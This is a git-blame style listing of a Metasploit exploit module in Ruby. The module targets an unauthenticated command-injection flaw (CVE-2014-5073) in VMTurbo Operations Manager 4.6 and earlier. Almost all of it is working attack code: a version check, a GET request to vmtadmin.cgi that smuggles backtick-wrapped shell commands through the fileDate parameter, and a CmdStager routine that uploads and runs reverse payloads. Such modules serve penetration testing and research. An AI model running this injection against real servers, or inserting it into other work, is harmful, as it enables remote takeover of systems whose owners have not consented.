2014-08-11 14:57:39 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2014-08-11 14:57:39 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2014-08-11 14:57:39 +00:00
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2014-08-12 08:49:17 +00:00
|
|
|
include Msf::Exploit::CmdStager
|
2014-08-12 19:55:42 +00:00
|
|
|
include Msf::Exploit::EXE
|
2014-08-11 14:57:39 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2014-08-18 18:35:34 +00:00
|
|
|
'Name' => 'VMTurbo Operations Manager vmtadmin.cgi Remote Command Execution',
|
2014-08-11 14:57:39 +00:00
|
|
|
'Description' => %q{
|
|
|
|
VMTurbo Operations Manager 4.6 and prior are vulnerable to unauthenticated
|
|
|
|
OS Command injection in the web interface. Use reverse payloads for the most
|
|
|
|
reliable results. Since it is a blind OS command injection vulnerability,
|
|
|
|
there is no output for the executed command when using the cmd generic payload.
|
|
|
|
Port binding payloads are disregarded due to the restrictive firewall settings.
|
|
|
|
|
2014-08-12 20:18:59 +00:00
|
|
|
This module has been tested successfully on VMTurbo Operations Manager versions 4.5 and
|
|
|
|
4.6.
|
2014-08-11 14:57:39 +00:00
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
2014-08-11 16:52:21 +00:00
|
|
|
# Secunia Research - Discovery and Metasploit module
|
|
|
|
'Emilio Pinna <emilio.pinn[at]gmail.com>'
|
2014-08-11 14:57:39 +00:00
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['CVE', '2014-5073'],
|
|
|
|
['OSVDB', '109572'],
|
|
|
|
['URL', 'http://secunia.com/secunia_research/2014-8/']
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Jun 25 2014',
|
|
|
|
'Privileged' => false,
|
|
|
|
'Platform' => %w{ linux unix },
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Compat' =>
|
|
|
|
{
|
|
|
|
'ConnectionType' => '-bind'
|
|
|
|
}
|
|
|
|
},
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Unix CMD',
|
|
|
|
{
|
|
|
|
'Arch' => ARCH_CMD,
|
|
|
|
'Platform' => 'unix'
|
|
|
|
}
|
|
|
|
],
|
|
|
|
[ 'VMTurbo Operations Manager',
|
|
|
|
{
|
|
|
|
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
|
|
|
|
'Platform' => 'linux'
|
|
|
|
}
|
|
|
|
],
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 1
|
|
|
|
))
|
2014-08-12 08:49:17 +00:00
|
|
|
|
|
|
|
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
|
2014-08-11 14:57:39 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
begin
|
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => "/cgi-bin/vmtadmin.cgi",
|
|
|
|
'vars_get' => {
|
|
|
|
"callType" => "ACTION",
|
|
|
|
"actionType" => "VERSIONS"
|
|
|
|
}
|
|
|
|
})
|
|
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
2016-02-01 21:12:03 +00:00
|
|
|
vprint_error("Failed to connect to the web server")
|
2014-08-11 14:57:39 +00:00
|
|
|
return Exploit::CheckCode::Unknown
|
|
|
|
end
|
|
|
|
|
|
|
|
if res and res.code == 200 and res.body =~ /vmtbuild:([\d]+),vmtrelease:([\d.]+),vmtbits:[\d]+,osbits:[\d]+/
|
|
|
|
version = $2
|
|
|
|
build = $1
|
|
|
|
|
2016-02-01 21:12:03 +00:00
|
|
|
vprint_status("VMTurbo Operations Manager version #{version} build #{build} detected")
|
2014-08-11 14:57:39 +00:00
|
|
|
else
|
2016-02-01 21:12:03 +00:00
|
|
|
vprint_status("Unexpected vmtadmin.cgi response")
|
2014-08-11 14:57:39 +00:00
|
|
|
return Exploit::CheckCode::Unknown
|
|
|
|
end
|
|
|
|
|
2014-08-18 18:35:34 +00:00
|
|
|
# NOTE (@todb): This PHP style comparison seems incorrect, since
|
|
|
|
# strings are being compared and not numbers. Example:
|
|
|
|
# 1.9.3p547 :001 > a = "4.6"
|
|
|
|
# => "4.6"
|
|
|
|
# 1.9.3p547 :002 > b = "10.6"
|
|
|
|
# => "10.6"
|
|
|
|
# 1.9.3p547 :003 > a <= b
|
|
|
|
#
|
|
|
|
# Also, the description says 4.5 is also vuln. This doesn't
|
|
|
|
# appear to care.
|
2014-08-13 07:53:43 +00:00
|
|
|
if version and version <= "4.6" and build < "28657"
|
2014-08-11 14:57:39 +00:00
|
|
|
return Exploit::CheckCode::Appears
|
|
|
|
else
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2014-08-12 17:49:27 +00:00
|
|
|
def execute_command(cmd, opts)
|
2014-08-11 14:57:39 +00:00
|
|
|
begin
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => '/cgi-bin/vmtadmin.cgi',
|
|
|
|
'method' => 'GET',
|
|
|
|
'vars_get' => {
|
|
|
|
"callType" => "DOWN",
|
|
|
|
"actionType" => "CFGBACKUP",
|
|
|
|
"fileDate" => "\"`#{cmd}`\""
|
|
|
|
}
|
|
|
|
})
|
|
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
2016-02-01 21:12:03 +00:00
|
|
|
vprint_error("Failed to connect to the web server")
|
2014-08-11 14:57:39 +00:00
|
|
|
return nil
|
|
|
|
end
|
|
|
|
|
2014-08-12 08:49:17 +00:00
|
|
|
vprint_status("Sent command #{cmd}")
|
2014-08-11 14:57:39 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
|
|
|
|
# Handle single command shot
|
|
|
|
if target.name =~ /CMD/
|
|
|
|
cmd = payload.encoded
|
2014-08-12 17:49:27 +00:00
|
|
|
res = execute_command(cmd, {})
|
2014-08-11 14:57:39 +00:00
|
|
|
|
|
|
|
unless res
|
2014-08-11 16:54:43 +00:00
|
|
|
fail_with(Failure::Unknown, "#{peer} - Unable to execute payload")
|
2014-08-11 14:57:39 +00:00
|
|
|
end
|
|
|
|
|
2016-02-01 21:12:03 +00:00
|
|
|
print_status("Blind Exploitation - unknown exploitation state")
|
2014-08-11 14:57:39 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2014-08-12 08:49:17 +00:00
|
|
|
# Handle payload upload using CmdStager mixin
|
|
|
|
execute_cmdstager({:flavor => :printf})
|
2014-08-11 14:57:39 +00:00
|
|
|
end
|
|
|
|
end
|